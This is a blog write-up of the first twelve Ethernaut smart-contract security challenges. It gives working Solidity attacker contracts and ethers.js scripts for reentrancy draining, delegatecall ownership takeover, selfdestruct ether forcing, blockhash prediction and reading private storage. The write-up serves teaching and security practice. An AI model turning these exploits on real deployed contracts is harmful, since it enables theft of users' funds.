Hello everyone, I hope you are well :) Recently I started to study Ethernaut challenges and I will write a blog series about it. Ethernaut is a wargame to learn smart contract programming in terms of security, and for every challenge, there is a smart contract to hack. You can do these challenges on a testnet, which will require testnet ethers (get it from this faucet) or you can create a repo that mimics every challenge and try to solve it in your local environment.
If you checked my previous posts you might have seen that I like sharing my errors and mistakes. Same as before, I'm not only going to share the solutions to these challenges but also share my thought process while solving them. This blog series will consist of 3 articles and the first 12 challenges will be in this first part. Let's begin!
0 - Hello
The first challenge is just an introduction to the ethernaut. It helps you to understand the game. After you create a new instance and open the developer tools, you can type contract.abi
to see the details of the contract. You need to find the password and call the authenticate
function with that password.
1 - Fallback
The aim is to get ownership of this contract, and if you check it, two functions can change ownership: the first one is the contribute()
, which requires sending 1000 ether, and the other one is receive()
. Obviously, we need to trigger the receive()
method which has a "require" statement like this: require(msg.value > 0 && contributions[msg.sender] > 0)
First, we need to call the contribute()
, and then we have to send ether to the contract to trigger the receive()
.
2 - Fal1out
This challenge is here due to Ethernaut being an old game, and the constructor functions had the same name as the contract name in older solidity versions. It is not an issue anymore because the constructor is just constructor()
:))
Everyone can call the Fal1out function and when you call it, you are the owner.
3 - CoinFlip
In this challenge, we need to be able to guess the result of the coin flip 10 times in a row, which is calculated with the previous block's hash.
On my first try, I decided to write a JS code that uses an API to get the latest block, does the exact same calculation for the coin flip result with this block number, and then calls the flip function in the contract I wanted to attack. It worked great, but for four times in a row. Because the 5th time, my transaction has not been included in the next block, it's been included in the one after and the calculation for that block was wrong.
I already knew that it won't work even before trying because it's impossible to guarantee that a transaction will be in a specific block, but I wanted to try anyways. So, it didn't work and I had to find another solution. That was the time I learned I had to write another smart contract, an attacker contract, using the Ethernaut challenge contract as an Interface. If you want to know more about interfaces, check this out.
interface ICoinFlipChallenge {
function flip(bool _guess) external returns (bool);
}
contract CoinFlipAttack {
ICoinFlipChallenge public ethernautContract;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor (address challengeAddress) {
ethernautContract = ICoinFlipChallenge(challengeAddress);
}
function attack() public {
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
ethernautContract.flip(side);
}
}
In the code above, we can create an instance of the Ethernaut contract that is given to us using that contract's address. The attack()
function makes the same calculations as the original contract and calls the flip()
function in that contract.
This way we don't need to get the latest block with an API and try to send a transaction for the next block. All we need to do is call the attack()
method in our newly deployed attacker contract.
4 - Telephone
Actually, this one is quite a simple challenge when compared to the previous one. All we need is to understand the difference between tx.origin and msg.sender, that's it.
'tx.origin' is you, the initializer of a transaction, it has to be an externally owned account (EOA). On the other hand 'msg.sender' can be both an EOA or a contract.
So, if you directly call the changeOwner()
function you can't pass this challenge but if you create an attacker contract and make it call the function, you will claim ownership.
function attack() public {
ethernautContract.changeOwner(tx.origin);
}
5 - Token
We are expected to increase our balance in this challenge and the transfer function has a require statement: require(balances[msg.sender] - _value >= 0)
.
The problem with this statement is it is always true no matter what. balances[msg.sender]
is declared as uint which is always positive. This statement is prone to overflow/underflow attacks, and it is important to use SafeMath library.
Let's get back to work. We just need to transfer tokens to our address from another account and that's enough to solve this challenge.
// Create a seconder account to execute the transfer
// You need to add those variables in your .env file.
const provider = new ethers.providers.JsonRpcProvider(process.env.GOERLI_RPC_URL);
const account2 = new ethers.Wallet(process.env.FAKE_KEY, provider);
async function main() {
// Create deployed token contract's instance
// TOKEN_ADDRESS is your ethernaut challenge instance.
const tokenInstance = await ethers.getContractAt("Token", TOKEN_ADDRESS);
// Connect to the contract with seconder account and execute the transaction to the address.
// YOUR_ADDRESS is the address to send tokens.
const transferTx = await tokenInstance.connect(account2).transfer(YOUR_ADDRESS, 1000);
const transferTxReceipt = await transferTx;
console.log("txReceipt: ", transferTxReceipt);
}
6 - Delegation
That's a sweet challenge :) We have two different contracts: Delegate and Delegation. While the Delegate contract has a function called pwn()
that changes the owner, the Delegation contract only has a fallback function. It doesn't have a function that changes the owner but this is our challenge: getting ownership of this contract. How do we do that?
There are a few things we need to understand first. One of them is low-level functions like call()
and delegatecall()
. You can check this article to understand them a little bit. Simply, delegatecall()
lets a contract use a function described in another contract.
Above, the fallback function in the Delegation contract is "delegatecalling the Delegate contract's address with msg.data". What is this sentence mean? Let me explain. You know that transactions have msg.value and msg.data. When we trigger the fallback function in the Delegation contract, it will pass our transaction's data to the Delegate contract when executing delegatecall
. Here comes the second thing to know: Function Selectors. The first 4 bytes of the msg.data is the selector and points to the function to call in a contract. So, if our msg.data points to the pwn()
function, we can call it and change the owner.
Send a transaction to trigger the fallback function in the Delegation contract.
The data of this transaction should be the function selector of
pwn()
.When the fallback is triggered, the
pwn()
function in the Delegate contract will be called and the owner will be changed.
Okay, that's great. Now we know what to do.
First of all, I wanted to write an attacker contract and trigger the fallback with the attacker contract.
// Call the delegation instance to trigger the fallback function.
// While sending this transaction, add function selector of pwn() as msg.data
function attack(address contractAddress) public returns(bytes memory) {
(bool success, bytes memory data) = contractAddress.call(abi.encodeWithSignature("pwn()"));
require(success);
return data;
}
abi.encodeWithSignature("pwn()")
will give the function selector. When I called the attack function in my new contract, the fallback in the delegation instance is triggered as I expected, and my attacker contract (msg.sender) got ownership of the Delegation. When I submitted it to Ethernaut, it didn't accept me as a winner. My contract is the owner but Ethernaut expects my EOA (tx.origin) to be the owner, not a contract written by me.
Alright, my attacker works but not enough. I had to find a way to get ownership. Some ideas came to my mind:
Get ownership with an attacker contract and transfer ownership.
Find the Delegate contract's address (not Delegation) and call the
pwn()
function.Try to make msg.sender == tx.origin.
Find a way to trigger fallback directly from an EOA.
The first two were not going to work and I tried the third option initially. So I've changed this contractAddress.call(abi.encodeWithSignature("pwn()"));
to contractAddress.delegatecall(abi.encodeWithSignature("pwn()"));
This will delegatecall the delegatecall and the msg.sender will be my EOA. At first, it failed because of the "out of gas" error. Then I learned how to increase the gas limit when calling a function in Hardhat. The transaction didn't fail at this time but the owner did not change. I don't know why the owner did not change even though the transaction went through.
None of them did work, I knew the solution but didn't know how to execute it. I had to find a way to trigger the fallback function directly from an EOA. I thought "Can I send data with Metamask?". It turned out as "No!"
Then, finally, I figured out that the Remix IDE is my savior. In Remix, we can execute low-level calls. But to be able to call it I had to know the function selector and I wrote this:
function getSelector() public pure returns(bytes4) {
return bytes4(keccak256(bytes("pwn()")));
}
Which returned: "0xdd365b8b"
I typed it into Remix, executed the transaction and finally, got ownership of the Delegation.
7 - Force
In this challenge, we have to send ether to a contract that doesn't have a receive()
or fallback()
function. But how? How can we send ether to a non-payable contract?
Drumrolls, please. SELFDESTRUCT
selfdestruct()
function gets one parameter, an address, and sends all the remaining balance to that address when it is called. You just need to create a contract, send some ether to it, and then self-destruct it by passing your Ethernaut challenge instance address.
contract ForceAttack {
constructor() {}
// Receive some ether first
receive() external payable {}
// selfdestruct and send the balance to the instance when called
function attack (address payable instanceAddress) public {
selfdestruct(instanceAddress);
}
}
8 - Vault
We are expected to find the password and break the vault. The password is declared as a private state variable with bytes32 private password;
line, but this doesn't mean we can not see it. If you want to know how to see a private variable, please open the ethers documentation and check the provider.getStorageAt
After getting the password, call the unlock function. That's all.
async function main() {
const vaultInstance = await ethers.getContractAt("Vault", INSTANCE_ADDRESS);
// Password is stored at the slot number 1 in the contract.
// Slot number 0 is storing "bool locked" in this contract.
const passwordAtStorage = await provider.getStorageAt(INSTANCE_ADDRESS, 1);
console.log("pass: ", passwordAtStorage);
// Call the unlock function in the contract instance
const txResponse = await vaultInstance.unlock(passwordAtStorage);
const txReceipt = await txResponse;
console.log("txReceipt: ", txReceipt);
}
9 - King
This one was a little bit tricky. The aim is to become a king by sending ether to the contract, and then not letting anyone get you out of your throne!
The contract has 3 variables (king, prize, owner) and a receive()
function with this require statement: require(msg.value >= prize || msg.sender == owner);
This function will change the state by assigning a new king and a new prize. How do we prevent that?
There were some questions that came to my mind and some of them might sound silly :/
"Can I change a variable's immutability?"
If I can make theaddress king
variable immutable after I declare myself as king, then I could win (like an autocrat). Apparently, it was not possible :D"Can I override a state variable?"
If I can alter theaddress owner
variable, then the require statement (msg.sender == owner
) will fail and the king won't change. Apparently, that was not possible either :O"Can I enforce a transaction to consume more gas?"
receive()
function has this linepayable(king).transfer(msg.value)
and thetransfer()
is capped to 2300 gas. If I enforce someone to use more gas then this line will fail. But it doesn't look possible too.
Alright, how do we handle it?
It's still about this payable(king).transfer(msg.value)
line. If the king is a contract that doesn't have a receive or fallback function, this line will revert and the king will never change.
So, I deployed a contract with an attack function like the previous challenges. Then I called the function but the transaction failed. Why? Because my attacker contract doesn't have any ether. Okay, let me add some ether. Oh no! This contract doesn't have a receive function. That's the purpose of this contract :D
What's the solution? I had to add ether when deploying it, with a payable constructor. The contract could have some ether at the deployment but not receive any ether after that.
Another solution was directly calling the Ethernaut instance during the deployment inside the constructor. Like this:
// send ether to the instance address while creating this contract.
constructor(address payable instanceAddress) payable {
(bool s, ) = instanceAddress.call{value: 1000000000000000}("");
require(s, "Failed");
}
// don't accept any ether from anyone else to become king!
receive() external payable {
revert();
}
Hey! Don't forget to add {value: ...}
in your deployment script too! Like this:const kingAttacker = await KingAttack.deploy(INSTANCE_ADDRESS, {value: 1000000000000000});
10 - Reentrancy
If you are interested in smart contract security, you probably heard of reentrancy many many times. It's one of the most common hacks in this space, and a must to learn.
This challenge has a classic reentrancy vulnerability. In the withdraw()
function the contract sends the ether first, and after that, it updates the balances
mapping. We can crack it with a malicious contract by depositing some ether and withdrawing again. How will it work?
We will form the receive()
function in a malicious way. When we withdraw ether to our attacker contract, receive()
function will be triggered and inside the receive function, we will call withdraw again.
interface IReentrance {
function withdraw(uint _amount) external;
function donate(address _to) external payable;
}
contract ReentranceAttack {
IReentrance public ethernautInstance;
uint256 public amount = 0.05 ether;
address public owner;
constructor(address instanceAddress) payable {
owner = msg.sender;
ethernautInstance = IReentrance(instanceAddress);
}
function attack() public payable {
ethernautInstance.donate{value: amount}(address(this));
ethernautInstance.withdraw(amount);
}
receive() external payable {
ethernautInstance.withdraw(amount);
}
}
The code above is the first thing I wrote. It has all the logic to call withdraw()
again and again, but with one major issue. Did you see it?
Yes. It's an infinite loop. Nothing to stop it, except the out-of-gas error. When I tried to run it I saw this:
It was calling again and again but because of my flawed logic, it was not finalizing the transaction. On the right-hand side, you can see the gas limit starts with 113.935, decreases in every call, and at the end, it was going to zero -> Transaction reverted.
Then I changed the receive() function which will stop the execution if the contract balance is 0.
receive() external payable {
uint256 amountToWithdraw =
amount < address(ethernautInstance).balance
? amount
: address(ethernautInstance).balance;
if (amountToWithdraw > 0){
ethernautInstance.withdraw(amountToWithdraw);
}
}
That's all about reentrancy but how do we get the ether from our attacker contract? You can add a self-destruct function to get all the ether from this contract or you can add a withdraw function that will send the contract balance to the owner. Whoever calls it, the function will send the balance to the owner.
function withdrawFunds() public {
(bool s, ) = owner.call{value: address(this).balance}("");
require(s, "Failed to withdraw");
}
11 - Elevator
We have to examine this contract a little bit. The goTo()
function in the contract creates a Building instance and then checks if the input value is the top floor of that instance.
function goTo(uint _floor) public {
Building building = Building(msg.sender);
if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
As you can see above if the building.isLastFloor(_floor)
statement is true, nothing happens. If it is false, the floor of the elevator becomes the input value, then the function checks again if the new value is the top floor (But the new value == old value). We aim to make the top = true
, and we got this question?
How a function returns two different values with the same input?
Something has to change between two lines :O
That was the first part we needed to understand and now let's move to our attacker contract. You know that the Building
is an interface in this challenge and it has only one function: function isLastFloor(uint) external returns (bool);
Due to it being an interface, we don't know how this function acts, we only know the shape of it. We also see that the goTo
function will create a Building instance with msg.sender
address. Then let's create this building ourselves and decide which floor will be the top. Check it out below!
interface Building {
function isLastFloor(uint) external returns (bool);
}
interface Elevator {
function goTo(uint) external;
}
// We can override isLastFloor() with declaring this contract is Building
contract ElevatorAttack is Building {
uint public lastFloor = 11;
Building public myBuilding;
Elevator public ethernautInstance;
constructor(address instanceAddress) {
myBuilding = Building(address(this));
ethernautInstance = Elevator(instanceAddress);
}
Let's examine it step by step. contract ElevatorAttack is Building {}
is the crucial part here.
This contract is going to be
Building(address(this))
.Ethernaut contract's
goTo
function will createBuilding(msg.sender)
instance.If we call the ethernaut contract from our Building contract (attacker) what do you think will happen?
address(this)
will be equal tomsg.sender
So, the Building instance that will be created in the
goTo
function is going to be our attacker contract, which is definitely a Building
This means we will pass this challenge if we can implement our attacker Building's top floor.
When we describe a contract as an interface, we can override that interface's functions. This way we can fill the isLastFloor()
function as we want. Down below is the second part of my code.
// uint public lastFloor = 11; --> This was stated above.
function isLastFloor(uint x) public override returns(bool){
if (x == lastFloor) {
return true;
} else {
lastFloor = 13;
return false;
}
}
function attack() public {
ethernautInstance.goTo(13);
}
}
As I mentioned before, isLastFloor()
function has to return false in the first check and has to return true in the second check. I declared the last floor as 11 and called the attack
function passing the value 13. It returned false but at the same time, it changed the last floor to 13. Now in the second check, it was true.
- So, the same question: How a function returns two different values with the same input?
If you can't change the input, you can change the value that will be in the comparison with the input.
12 - Privacy
I loved this challenge. It is similar to the Vault challenge but a little bit more complex. It has a lot of state variables and to be able to crack the code, we have to find the data[2]
because it is being used in the unlock()
function. The rest of the variables are just to trick you, we don't need them. The only thing that matters is their types, which means how many bytes they fill in the storage.
If you don't know how to solve this challenge or you tried but got stuck, please read the layout of state variables in storage in solidity documentation, and also check this article by Alchemy.
Now check the screenshot above. If you read those articles, you will understand these without a tiny hesitation. On the right side, you can see which variable in the contract is stored in which storage slot.
The unlock()
function in the contract expects a bytes16 input and compares it to the bytes16(data[2])
(data[2] is normally 32 bytes long). We just need to create an attacker contract that accepts bytes32 data, which is data[2], converts it to bytes16, and passes it to the ethernaut contract to call the unlock function.
interface IPrivacy{
function unlock(bytes16) external;
}
contract PrivacyAttack {
IPrivacy public ethernautInstance;
constructor (address instanceAddress) {
ethernautInstance = IPrivacy(instanceAddress);
}
// data[2] is 32 bytes long.
// Mimic the victim contract. Get bytes32 variable as input and call the instance as bytes16.
function attack(bytes32 key) public {
ethernautInstance.unlock(bytes16(key));
}
}
Okay, we have our attacker contract. Now it's time to find the data[2]. Where is it stored at? storage slot 5.
We need to write an attacker script and use the ethers library. You remember the getStorageAt(), right?
// This is Javascript code to attack.
const { ethers } = require("hardhat");
// Use your RPC URL in your .env file
const provider = new ethers.providers.JsonRpcProvider(process.env.GOERLI_RPC_URL);
const ATTACKER_ADDRESS = "0xYourDeployedAttackerContract";
const INSTANCE_ADDRESS = "0xYourEthernautInstance"
async function main() {
const privacyAttacker = await ethers.getContractAt("PrivacyAttack", ATTACKER_ADDRESS);
// bytes32[2] is stored in the slot 5 in the contract.
let dataNumberThree = await provider.getStorageAt(INSTANCE_ADDRESS, 5);
console.log("data3: ", dataNumberThree);
// Execute the attack transaction.
const attackTx = await privacyAttacker.attack(dataNumberThree);
const txReceipt = await attackTx.wait();
console.log(txReceipt);
}
Voila! We cracked the code, and it is unlocked now.
Phew! That was quite a long blog post. Thank you for coming this far and see you in the second part, hopefully sometime next week.